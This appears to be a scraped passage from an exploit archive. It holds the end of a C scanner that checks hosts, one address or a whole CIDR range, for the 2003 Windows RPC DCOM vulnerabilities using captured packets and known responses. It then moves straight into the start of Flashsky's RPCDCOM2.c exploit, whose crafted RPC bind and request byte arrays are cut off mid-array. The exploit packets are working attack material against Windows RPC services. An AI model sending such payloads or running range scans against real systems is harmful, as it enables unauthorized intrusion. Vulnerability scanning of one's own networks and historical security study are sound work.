0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x3b, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x01, 0x00, 0x01, 0x00, 0x67, 0x3c, 0x70, 0x94, 0x13, 0x33, 0xfd, 0x46,
0x87, 0x24, 0x4d, 0x09, 0x39, 0x88, 0x93, 0x9d, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x7e, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x89, 0x0a, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x73, 0x00, 0x61, 0x00,
0x6a, 0x00, 0x69, 0x00, 0x61, 0x00, 0x64, 0x00, 0x65, 0x00, 0x76, 0x00,
0x5f, 0x00, 0x78, 0x00, 0x38, 0x00, 0x36, 0x00, 0x00, 0x00, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x58, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x5e, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x5c, 0x00,
0x00, 0x00, 0x5c, 0x00, 0x6a, 0x00, 0x69, 0x00, 0x61, 0x00, 0x64, 0x00,
0x65, 0x00, 0x76, 0x00, 0x5f, 0x00, 0x78, 0x00, 0x00, 0x00, 0x36, 0x00,
0x5c, 0x00, 0x70, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6c, 0x00, 0x69, 0x00,
0x63, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x15, 0x00, 0x01, 0x10, 0x08, 0x00,
0xcc, 0xcc, 0xcc, 0xcc, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x90, 0x5b, 0x09, 0x00, 0x02, 0x00, 0x00, 0x00,
0x01, 0x00, 0x6c, 0x00, 0xc0, 0xdf, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00
};
// this is what you get when it's doesn't have either patch
unsigned char expected3_vulnerable[] = {
0x05, 0x00, 0x02, 0x03, 0x10, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x54, 0x01, 0x04, 0x80,
};
// this is what you get when it's got the first dcom patch
unsigned char expected3_patched1[] = {
0x05, 0x00, 0x02, 0x03, 0x10, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x00, 0x08, 0x80,
};
// this is what you get when it's got the second dcom patch
unsigned char expected3_patched2[] = {
0x05, 0x00, 0x02, 0x03, 0x10, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x40, 0x00, 0x80,
};
///////////////////////////
// fourth request packet
// from dcom1 dcom_scanz
unsigned char fear4[] = {
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0xc6, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xae, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5b, 0x52, 0x65, 0x74, 0x69, 0x6e, 0x61, 0x5d, 0x5b, 0x52, 0x65, 0x74,
0x69, 0x6e, 0x61, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x65, 0x45, 0x79, 0x65,
0x32, 0x30, 0x30, 0x33, 0x65, 0x45, 0x79, 0x65, 0x32, 0x30, 0x30, 0x33,
0x68, 0x0f, 0x0b, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1e, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x00, 0x00, 0x63, 0x00, 0x24, 0x00, 0x5c, 0x00, 0x65, 0x00,
0x45, 0x00, 0x79, 0x00, 0x65, 0x00, 0x5f, 0x00, 0x32, 0x00, 0x30, 0x00,
0x30, 0x00, 0x33, 0x00, 0x5f, 0x00, 0x52, 0x00, 0x65, 0x00, 0x74, 0x00,
0x69, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x2e, 0x00, 0x74, 0x00, 0x78, 0x00,
0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0xeb, 0x0b, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00
};
// sniffed from dcom2 scanner, when scanning vulnerable machine
// only issued at vulnerable machine
// no fourth packet when scanning patched machine
// etheral says it's an "alter context"
unsigned char request4[] = {
0x05, 0x00, 0x0e, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0xd0, 0x16, 0xd0, 0x16, 0x28, 0x57, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0xb8, 0x4a, 0x9f, 0x4d,
0x1c, 0x7d, 0xcf, 0x11, 0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
};
unsigned char expected4[] = {
0x05, 0x00, 0x0f, 0x03, 0x10, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0xd0, 0x16, 0xd0, 0x16, 0x28, 0x57, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
};
///////////////////////////
// fifth request packet
// sniffed from dcom2 scanner, when scanning vulnerable machine
unsigned char request5[] = {
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x9a, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0x96, 0x95, 0x2a,
0x8c, 0xda, 0x6d, 0x4a, 0xb2, 0x36, 0x19, 0xbc, 0xaf, 0x2c, 0x2d, 0xea,
0x34, 0xeb, 0x98, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x5c, 0x00, 0x4d, 0x00, 0x45, 0x00,
0x4f, 0x00, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x48, 0x00, 0x5c, 0x00, 0x48, 0x00, 0x01, 0x00, 0x00, 0x00,
0x58, 0xe9, 0x98, 0x00, 0x01, 0x00, 0x00, 0x00, 0x95, 0x96, 0x95, 0x2a,
0x8c, 0xda, 0x6d, 0x4a, 0xb2, 0x36, 0x19, 0xbc, 0xaf, 0x2c, 0x2d, 0xea,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x5c, 0x00,
};
// this is what you get with no dcom patches,
// unfortunately it's also what you get with the dcom 2 patch
unsigned char expected5_vulnerable_or_patched2[] = {
0x05, 0x00, 0x02, 0x03, 0x10, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x02, 0x00, 0x54, 0x01, 0x04, 0x80,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// this is what you get from dcom patch 1
unsigned char expected5_patched1[] = {
0x05, 0x00, 0x02, 0x03, 0x10, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x02, 0x00, 0x04, 0x00, 0x08, 0x80,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
void
timeout_handler( int info ) {
//fprintf( stderr, "timed out\n" );
if ( dcomsockfd )
close( dcomsockfd ); // have to close it here to abort the connect
timed_out = 1;
}
// send a packet, and get response
// return length of received data, or -1 on error
int
exchange_packets( int pktnum, uint32_t ip, int fd, unsigned char *req,
int reqlen, unsigned char *resp, int resplen ) {
int len;
if ( verbose > 1 )
printf( "Sending packet %d\n", pktnum );
if(send(dcomsockfd, req, reqlen, 0) < 0) {
close( dcomsockfd );
alarm( 0 );
if ( timed_out )
printf( "timed out while sending packet %d to %s\n",
pktnum, my_inet_ntoa( ip ) );
else
fprintf( stderr, "error sending packet %d to %s\n",
pktnum, my_inet_ntoa( ip ) );
return -1;
}
if ( ( len = recv( dcomsockfd, resp, resplen, 0 ) ) < 0 ) {
close( dcomsockfd );
alarm( 0 );
if ( timed_out )
printf( "timed out while receiving packet %d from %s\n",
pktnum, my_inet_ntoa( ip ) );
else
fprintf( stderr, "error receiving packet %d from %s\n",
pktnum, my_inet_ntoa( ip ) );
return -1;
}
return len;
}
// scan remote ip for dcom vulnerability
// normally doesn't print anything, just errors
// verbose = 1 for basic scan result printfs
// verbose > 1 for more verbose stuff
// return 0 if ok, 1 if vulnerable, -1 if can't connect or can't tell
// 0 not vulnerable
// 1 does not accept DCE RPC protocol (connection refused)
// 2 no response (filtering DCOM port, or not there)
// 3 vulnerable to dcom 1 and dcom2
// 4 vulnerable to dcom 2 (but patched for dcom1)
// 255 can't tell for some other reason
int
dcom2_scan( uint32_t ip ) {
struct sockaddr_in dest_addr; /* hold dest addy */
unsigned char resp1[1024];
unsigned char resp2[1024];
unsigned char resp3[1024];
unsigned char resp4[1024];
unsigned char resp5[1024];
unsigned char assoc_group[4];
int len1, len2, len3, len4, len5;
int vun3 = 0;
int i;
if ( verbose > 1 )
printf( "scanning %s\n", my_inet_ntoa( ip ) );
timed_out = 0;
signal( SIGALRM, timeout_handler );
alarm( dcom_scan_timeout );
dcomsockfd = 0;
if((dcomsockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
alarm( 0 );
if ( timed_out ) {
if ( verbose )
printf( "%s timed out while getting socket\n",
my_inet_ntoa( ip ) );
}
else
fprintf( stderr, "error getting socket: %s\n", strerror( errno ) );
return 255;
}
bzero( &dest_addr, sizeof( struct sockaddr_in ) );
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(DEST_PORT);
dest_addr.sin_addr.s_addr = ip;
if ( verbose > 1 )
printf("Connecting to %s\n", my_inet_ntoa( ip ) );
if( connect( dcomsockfd, (struct sockaddr *) &dest_addr,
sizeof(struct sockaddr) ) < 0 ) {
close( dcomsockfd );
alarm( 0 );
if ( timed_out || errno == ETIMEDOUT ) {
if ( verbose )
printf( "%s timed out while connecting\n",
my_inet_ntoa( ip ) );
return 2;
}
else if ( errno == ECONNREFUSED ) {
if ( verbose )
printf("%s does not accept DCERPC protocol -- good\n",
my_inet_ntoa( ip ) );
return 1; // good, port not open, it's not vulnerable
}
if ( verbose )
printf( "%s connect failed: %s\n", my_inet_ntoa( ip ),
strerror( errno ) );
return 255;
}
#if 0
// the ms scanner opens a tcp connections, resets it, then opens a second
// but it just refused the second connection for me.
close( dcomsockfd );
if ( verbose > 1 )
printf("opening second connection to %s\n", my_inet_ntoa( ip ) );
if( connect( dcomsockfd, (struct sockaddr *) &dest_addr,
sizeof(struct sockaddr) ) < 0 ) {
close( dcomsockfd );
alarm( 0 );
if ( timed_out ) {
if ( verbose )
printf( "%s timed out while connecting\n",
my_inet_ntoa( ip ) );
return 2;
}
else if ( errno == ECONNREFUSED ) {
if ( verbose )
printf("%s does not accept DCERPC protocol -- good\n",
my_inet_ntoa( ip ) );
return 1; // good, it's not vulnerable
if ( verbose )
printf( "%s connect failed: %s\n", my_inet_ntoa( ip ),
strerror( errno ) );
return 255;
}
#endif
// the bind request
len1 = exchange_packets( 1, ip, dcomsockfd, request1, sizeof(request1),
resp1, sizeof( resp1 ) );
if ( len1 < 0 )
return 255;
memcpy( assoc_group, resp1 + 20, 4 ); // need this for packet 4
//printf( "association group:\n" );
//print_hex( assoc_group, 4 );
// packet exchange 2, call_id: 1 opnum: 4 ctx_id: 0
len2 = exchange_packets( 2, ip, dcomsockfd, request2, sizeof(request2),
resp2, sizeof( resp2 ) );
if ( len2 < 0 )
return 255;
if ( ! memcmp( resp2, expected2_patched,
sizeof( expected2_patched ) ) ) {
// it's probably either patched for dcom 2, or neigther
if ( verbose > 1 )
printf( "response 2 matches expected patched\n" );
}
else if ( ! memcmp( resp2, expected2_vulnerable,
sizeof( expected2_vulnerable ) ) ) {
// it's probably patched for dcom 1
if ( verbose > 1 )
printf( "response 2 matches expected vulnerable\n" );
}
else if ( ! memcmp( resp2, expected2_dce_fault,
sizeof( expected2_dce_fault ) ) ) {
// It's a DCE fault response. I don't know what causes this,
// but it seems to ignore any other packets. So I can't continue.
close( dcomsockfd );
if ( verbose > 1 )
printf( "response 2 matches dce fault\n" );
if ( verbose )
printf( "%s returns DCE Fault code -- wierd\n",
my_inet_ntoa( ip ) );
return 255;
}
else if ( verbose > 1 ) {
printf( "Response 2 expected vunerable contents:\n" );
print_hex( expected2_vulnerable, sizeof( expected2_vulnerable ) );
printf( "Response 2 expected patched contents:\n" );
print_hex( expected2_patched, sizeof( expected2_patched ) );
printf( "Response 2 received contents:\n" );
print_hex( resp2, len2 );
for ( i = 0; i < sizeof( expected2_vulnerable ); i++ ) {
if ( resp2[ i ] != expected2_vulnerable[ i ] )
printf( " %04x %02x != %02x\n", i, resp2[ i ],
expected2_vulnerable[ i ] );
}
}
// packet exchange 3, call_id: 2 opnum: 4 ctx_id: 0
len3 = exchange_packets( 3, ip, dcomsockfd, request3, sizeof(request3),
resp3, sizeof( resp3 ) );
if ( len3 < 0 )
return 255;
if ( ! memcmp( resp3, expected3_vulnerable,
sizeof( expected3_vulnerable ) ) ) {
if ( verbose > 1 )
printf( "response 3 matches no dcom patches\n" );
vun3 = 1;
}
else if ( ! memcmp( resp3, expected3_patched1,
sizeof( expected3_patched1 ) ) ) {
if ( verbose > 1 )
printf( "response 3 matches patched for dcom 1\n" );
vun3 = 1;
}
else if ( ! memcmp( resp3, expected3_patched2,
sizeof( expected3_patched2 ) ) ) {
if ( verbose > 1 )
printf( "response 3 matches patched for dcom 2\n" );
// MS scanner stops here
// but I don't really understand these packets
//if ( verbose )
// printf( "%s has both dcom patchs -- good\n", my_inet_ntoa( ip ) );
//close( dcomsockfd );
//return 0;
}
else if ( verbose > 1 ) {
printf( "response 3 does not match any expected packet\n" );
printf( "Response 3 received contents:\n" );
print_hex( resp3, len3 );
for ( i = 0; i < sizeof( expected3_vulnerable ); i++ ) {
if ( resp3[ i ] != expected3_vulnerable[ i ] )
printf( " %04x %02x != %02x\n", i, resp3[ i ],
expected3_vulnerable[ i ] );
}
}
// packet exchange 4, Alter context
memcpy( request4 + 20, assoc_group, 4 );
memcpy( expected4 + 20, assoc_group, 4 );
len4 = exchange_packets( 4, ip, dcomsockfd, request4, sizeof(request4),
resp4, sizeof( resp4 ) );
if ( len4 < 0 )
return 255;
else if ( verbose > 1 ) {
if ( memcmp( resp4, expected4, sizeof( expected4 ) ) ) {
printf( "Response 4 expected contents:\n" );
print_hex( expected4, sizeof( expected4 ) );
printf( "Response 4 received contents:\n" );
print_hex( resp4, len4 );
for ( i = 0; i < sizeof( expected4 ); i++ ) {
if ( resp4[ i ] != expected4[ i ] )
printf( " %04x %02x != %02x\n", i, resp4[ i ],
expected4[ i ] );
}
}
}
// packet exchange 5, RemoteActivation
len5 = exchange_packets( 5, ip, dcomsockfd, request5, sizeof(request5),
resp5, sizeof( resp5 ) );
if ( len5 < 0 )
return 255;
close(dcomsockfd);
if ( ! memcmp( resp5, expected5_patched1,
sizeof( expected5_patched1 ) ) ) {
if ( verbose > 1 )
printf( "response 5 matches patched for dcom1 -- BAD\n" );
if ( verbose )
printf( "** %s only has 1st dcom patch -- BAD **\n",
my_inet_ntoa( ip ) );
return 4;
}
else if ( ! memcmp( resp5, expected5_vulnerable_or_patched2,
sizeof( expected5_vulnerable_or_patched2 ) ) ) {
if ( verbose > 1 )
printf( "response 5 matches either no dcom patches or patched for dcom2\n" );
if ( vun3 ) {
if ( verbose )
printf( "** %s has neither dcom patch -- BAD **\n",
my_inet_ntoa( ip ) );
return 3;
}
if ( verbose )
printf( "%s has both dcom patchs -- good\n", my_inet_ntoa( ip ) );
return 0;
}
else if ( verbose > 1 ) {
printf( "Response 5 expected contents:\n" );
print_hex( expected5_vulnerable_or_patched2,
sizeof( expected5_vulnerable_or_patched2 ) );
printf( "Response 5 received contents:\n" );
print_hex( resp5, len5 );
for ( i = 0; i < sizeof( expected5_vulnerable_or_patched2 ); i++ ) {
if ( resp5[ i ] != expected5_vulnerable_or_patched2[ i ] )
printf( " %04x %02x != %02x\n", i, resp5[ i ],
expected5_vulnerable_or_patched2[ i ] );
}
}
else if ( verbose > 1 ) {
printf( "%s contains unidentified signature,\n",
my_inet_ntoa( ip ) );
printf( "Please report if vulnerable.\n" );
}
return 255;
}
void
usage( int rc ) {
fprintf( stderr, "Usage: %s [-vqh] [ -t timeout ] <ip address>\n"
" %s [-vqh] [ -t timeout ] <ip address>/<cidr-bits>\n"
" -v increase verbosity\n"
" -q quiet, no output, just exit status\n"
" -t n set scan timeout to n seconds, default %d\n"
" -h this help\n"
" when scanning one ip, exits with:\n"
" 0 not vulnerable\n"
" 1 does not accept DCE RPC protocol (connection refused)\n"
" 2 no response (filtering DCOM port, or not there)\n"
" 3 vulnerable to dcom 1 and dcom2\n"
" 4 vulnerable to dcom 2 (but patched for dcom1)\n"
" 255 can't tell for some other reason\n"
" when scanning an ip range, exits with:\n"
" 0 nothing was vulnerable\n"
" 4 one or more were vunerable\n",
program_name, program_name, d_dcom_scan_timeout );
exit( rc );
}
int
main( int argc, char **argv ) {
int a, b, c, d, bits;
unsigned int mask, low, high, ip, netip;
int rc = 0, r;
program_name = argv[0];
verbose = 1; // turn on basic prints in scan function
dcom_scan_timeout = d_dcom_scan_timeout;
while ( ( c = getopt( argc, argv, "vqt:h" ) ) >= 0 ) {
switch ( c ) {
case 'v':
verbose++;
break;
case 'q':
verbose = 0;
break;
case 't':
dcom_scan_timeout = atoi( optarg );
break;
case 'h':
usage( 0 );
break;
default:
usage( -1 );
break;
}
}
if ( optind >= argc || ! argv[ optind ] )
usage( -1 );
rc = sscanf( argv[ optind ], "%d.%d.%d.%d/%d", &a, &b, &c, &d, &bits );
if ( rc == 5 ) {
// scan range
if ( bits < 0 || 32 < bits )
usage( -1 );
rc = 0;
mask = 0xffffffff << ( 32 - bits );
low = ( a << 24 | b << 16 | c << 8 | d ) & mask;
high = low | ~ mask;
for ( ip = low + 1; ip < high; ip++ ) {
netip = htonl( ip );
r = dcom2_scan( netip );
if ( r == 3 || r == 4 )
rc = 4;
}
}
else if ( rc == 4 ) {
// scan 1 ip
inet_pton( AF_INET, argv[ optind ], (struct in_addr *) &netip );
rc = dcom2_scan( netip );
}
else
usage( -1 );
return rc;
}
// milw0rm.com [2003-09-12]
Exploit Database EDB-ID : 103
Date de publication : 2003-09-19 22h00 +00:00
Auteur : Flashsky
EDB Vérifié : Yes
/*
RPCDCOM2.c ver1.1
copy by FLASHSKY flashsky at xfocus.org 2003.9.14
*/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
